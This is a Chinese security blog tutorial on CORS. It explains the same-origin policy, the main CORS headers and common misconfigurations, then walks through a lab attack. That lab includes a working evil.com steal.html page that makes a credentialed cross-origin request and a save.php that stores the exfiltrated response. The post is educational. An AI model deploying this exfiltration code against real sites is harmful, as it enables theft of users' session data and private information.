Web安全

CORS跨域漏洞的学习

Posted on 2020-01-22,7 min read

讲跨域漏洞前。首先得讲一下浏览器的同源策略
SOP,同源策略 (Same Origin Policy)
同源策略是浏览器的一个安全功能。不同源的客户端脚本(JS)在没有被授权的情况下。不能读取对方资源。
同源的定义是。协议/端口/主机

假设www.test.com需要通过js去www.abc.com加载一张图片。在没有同源策略时。是没问题的。但是
如果存在同源策略。test.com和abc.com不同域名。那么就会被禁止读取。那这让一些从网上加载资源的web就很难受。

不受同源策略限制的

1. 页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
2. 跨域资源的引入是可以的。但是js不能读写加载的内容。如嵌入到页面中的<script src="..."></script>,<img>,<link>,<iframe>等。

CORS,跨域资源共享(Cross-origin resource sharing)
是H5提供的一种机制。Web应用程序可以通过HTTP增加字段。来告诉浏览器。哪些不同来源的服务器是可以访问本站资源的。当不同域请求时。就出现了跨域资源共享
1:跨域访问的一些场景

后端开发完部分代码。提供接口给前端。前后分离的情况下。域名不同。需要跨域访问
程序员在本地开发。本地的文件夹。并不是在一个域下。当js发送ajax请求。请求另外的页面时。就会跨域
电商网站通过浏览器加载第三方快递物流信息
子域名希望调用主域名的用户资料接口。显示数据

CORS关键头部
Access-Control-Allow-Origin
指定哪些域可以访问当前域名。比如test.com想访问abc.com的资源。那么就要在abc.com服务器上设置Access-Control-Allow-Origin:test.com
即允许test.com访问
Access-Control-Allow-Credentials
指定浏览器在请求时。是否可以携带cookie,可以就为True
Access-Control-Allow-Methods
指定可以使用哪些方法(GET,POST)访问资源
常见的攻击场景
CORS错误配置
假设。我们是test.com向abc.com发送了请求。abc.com返回

HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
#*说明任何域都可以访问资源
Access-Control-Allow-Credentials: true
#允许携带cookie

那么这就是个错误配置。并没有起到安全保护作用
错误匹配不完整域名
继续请求。假设服务器返回如下

HTTP/1.0 200 OK
Access-Control-Allow-Origin: requester.com
Access-Control-Allow-Credentials: true

允许requester.com。但是没有写完整。让我们以下请求即可绕过

GET /api/userinfo.php
Host: example.com
Connection: close
Origin: attackerrequester.com
#存在requester.com

出现这种情况。都是后端在验证策略上采用了*requester.com来匹配
下面来说下CORS漏洞攻击流程。
假设用于登陆了一个有CORS的网站。同时又访问了攻击者的链接eval.com。
evil.com向vuln.com发起请求。获取敏感数据。浏览器能否接收消息。取决于vuln.com的配置。如果配置得当。不同域就不能获得数据
实验
www.vuln.com
#web服务器
www.evil.com
#黑客服务器
当cookie设置为httponly属性后。没办法被js读取。但是phpinfo是有纪录的。我们就假设phpinfo是敏感信息。模拟登陆set-cookie后。访问敏感信息界面
www.vuln.com/login.php

<?php
//假设此页面需要登录后才能访问
setcookie("SESSIONid","THISISSESSID20180802",time()+3600,"","",0);  //设置普通Cookie
setcookie("test_http","THISISSESSIDhttponly20180802",time()+3600,"","",0,1);//设置HttpOnly Cookie
?>

www.vuln.com/secrect.php

<? php
//header("Access-Control-Allow-Origin:http://www.evil.com");
//header("Access-Control-Allow-Credentials:true");
phpinfo();
#敏感信息
?>

先访问login.php。然后访问secrect.php。假设cookie是敏感信息

此时黑客给了个恶意链接。用户访问
www.evil.com/steal.html

<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
    var xhr1;
    var xhr2;
    if(window.XMLHttpRequest)
    {
        xhr1 = new XMLHttpRequest();
        xhr2 = new XMLHttpRequest();
        #新版本
    }
    else
    {
        xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
        xhr2= new ActiveXObject("Microsoft.XMLHTTP");
        #旧版本。主要是为了兼容
    }
    xhr1.onreadystatechange=function()
    #判断xhr1有没有请求。当返回变化时。就会调用function
    {
        if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
        {
            var datas=xhr1.responseText;
            #用户带着cookie请求的敏感信息
            xhr2.open("POST","http://www.evil.com/save.php","true");
            #保存本地
            xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            xhr2.send("T1="+escape(datas));      
        }
    }
    xhr1.open("GET","http://www.vuln.com/secrect.php","true") //request user page.
    xhr1.withCredentials = true;        //request with cookie
    xhr1.send();
    #请求完毕。onreadystatechange变化。调用上面的function
}
loadXMLDoc();
</script>
</html>

www.evil.com/save.php

<?php
$myfile = fopen("secrect.html", "w+") or die("Unable to open file!");
$txt = $_POST['T1'];
fwrite($myfile, $txt);
fclose($myfile);
?>

由于用户访问了恶意链接。触发js脚本。js脚本请求了www.vuln的资源。浏览器自动为我们添加origin这个字段。用来说明我们是哪来的

js脚本出现一个错误

服务端缺少access-control-allow-origin头。所以浏览器就拦截了该请求
现在取消www.vuln.com/secrect.php的注释。允许www.evil.com访问


黑客收到了带有httponly的敏感信息

XSS请求跨域
假设我们我们主域名provider.com存在CORS。但是只允许requester.com的子域访问

if ($_SERVER['HTTP_HOST'] == '*.requester.com')
 {
  //Access data
  else{ // unauthorized access}
}

假设我们可以访问sub.requester.com但无法访问requester.com
并且sub.requester.com存在XSS。那么我们就可以通过CORS去请求provider.com的信息
原理同上
参考文章:
https://www.freebuf.com/column/194652.html
https://www.secshi.com/20298.html

下一篇: [SWPUCTF2019]Easy Python(flask session伪造+软链接+命令执行bypass)→